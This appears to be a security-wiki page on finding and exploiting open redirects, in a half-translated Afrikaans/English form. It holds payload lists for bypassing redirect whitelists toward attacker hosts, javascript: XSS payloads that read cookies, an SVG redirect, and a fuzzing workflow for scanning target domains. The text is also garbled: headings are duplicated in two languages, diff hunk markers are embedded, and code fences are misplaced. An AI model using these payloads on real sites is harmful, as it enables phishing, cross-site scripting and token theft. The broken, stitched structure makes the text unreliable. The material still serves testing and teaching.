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## Open redirect
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### Herlei na localhost of arbitrêre domeine
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### Redirect to localhost or arbitrary domains
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- As die app “allows only internal/whitelisted hosts” slegs toelaat, probeer alternatiewe host-notasies om loopback of interne reekse via die redirect target te bereik:
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- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
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- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
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- Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
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- Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Hierdie is nuttig wanneer slegs “subdomains of X” toegelaat word maar host-resolusie steeds na 127.0.0.1 wys.
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- Network-path references often bypass naive validators that prepend a scheme or only check prefixes:
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- //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme.
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- Userinfo tricks defeat contains/startswith checks against trusted hosts:
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- https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld.
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- Backslash parsing confusion between frameworks/browsers:
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- https://trusted.tld\@attacker.tld → sommige backends behandel “\” as 'n path char en slaag validasie; browsers normaliseer na “/” en interpreteer trusted.tld as userinfo, en stuur gebruikers na attacker.tld. Dit kom ook voor in Node/PHP URL-parser mismatches.
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{{#ref}}
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ssrf-server-side-request-forgery/url-format-bypass.md
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{{#endref}}
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### Open Redirect na XSS
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### Modern open-redirect to XSS pivots
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```bash
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#Basic payload, javascript code is executed after "javascript:"
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javascript:alert(1)
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@ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29
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/x:1/:///%01javascript:alert(document.cookie)/
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";alert(0);//
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```
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## Open Redirect om svg-lêers op te laai
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<details>
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<summary>Meer moderne URL-gebaseerde bypass payloads</summary>
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```text
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# Scheme-relative (current scheme is reused)
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//evil.example
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# Credentials (userinfo) trick
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https://trusted.example@evil.example/
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# Backslash confusion (server validates, browser normalizes)
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https://trusted.example\@evil.example/
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# Schemeless with whitespace/control chars
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evil.example%00
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%09//evil.example
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# Prefix/suffix matching flaws
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https://trusted.example.evil.example/
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https://evil.example/trusted.example
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# When only path is accepted, try breaking absolute URL detection
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/\\evil.example
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/..//evil.example
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```
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```
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</details>
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## Open Redirect uploading svg files
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```html
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<code>
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
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@ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg">
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</svg>
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</code>
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```
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## Algemene inspuitingsparameters
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## Common injection parameters
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```
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/{payload}
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?next={payload}
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@ -143,17 +185,23 @@ RedirectUrl=https://c1h2e1.github.io
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Redirect=https://c1h2e1.github.io
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ReturnUrl=https://c1h2e1.github.io
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```
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## Kode voorbeelde
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## Code examples
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#### .Net
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```bash
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response.redirect("~/mysafe-subdomain/login.aspx")
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```
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#### Java
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```bash
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response.redirect("http://mysafedomain.com");
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```
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#### PHP
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```php
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<?php
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/* browser redirections*/
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@ -161,16 +209,75 @@ header("Location: http://mysafedomain.com");
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exit;
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?>
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```
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## Hunting and exploitation workflow (practical)
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- Single URL check with curl:
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```bash
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curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
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```
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- Discover and fuzz likely parameters at scale:
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<details>
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<summary>Click to expand</summary>
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```bash
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# 1) Versamel historiese URLs, hou dié met algemene redirect params
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cat domains.txt \
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| gau --o urls.txt # or: waybackurls / katana / hakrawler
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# 2) Grep algemene parameters en normaliseer lys
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rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
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| sed 's/\r$//' | sort -u > candidates.txt
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# 3) Gebruik OpenRedireX om te fuzz met payload corpus
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cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
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# 4) Handmatig verifieer interessante treffers
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awk '/30[1237]|Location:/I' results.txt
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```
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```
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</details>
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- Moenie client-side sinks in SPAs vergeet nie: soek na window.location/assign/replace en framework helpers wat query/hash lees en redirect.
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- Frameworks bring dikwels footguns wanneer redirect-bestemmings afgelei word van onbetroubare insette (query params, Referer, cookies). Sien Next.js notas oor redirects en vermy dinamiese bestemmings wat van gebruiker-insette afgelei is.
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{{#ref}}
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../network-services-pentesting/pentesting-web/nextjs.md
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{{#endref}}
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- OAuth/OIDC flows: misbruik van open redirectors eskaleer gereeld na account takeover deur leaking van authorization codes/tokens. Sien toegewyde gids:
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{{#ref}}
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./oauth-to-account-takeover.md
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{{#endref}}
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- Server responses wat redirects implementeer sonder Location (meta refresh/JavaScript) is steeds uitbuitbaar vir phishing en kan soms gekoppel word. Grep for:
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```html
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<meta http-equiv="refresh" content="0;url=//evil.example">
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<script>location = new URLSearchParams(location.search).get('next')</script>
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```
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## Gereedskap
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- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
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- OpenRedireX – fuzzer vir die opsporing van open redirects. Voorbeeld:
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```bash
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# Install
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git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
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## Hulpbronne
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# Fuzz a list of candidate URLs (use FUZZ as placeholder)
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cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
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```
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## Verwysings
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- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) kan jy fuzzing lyste vind.
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- By https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect kan jy fuzzing-lyste vind.
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- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
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- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
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- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
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- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
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- OpenRedireX – 'n fuzzer vir die opsporing van open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX
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{{#include ../banners/hacktricks-training.md}}
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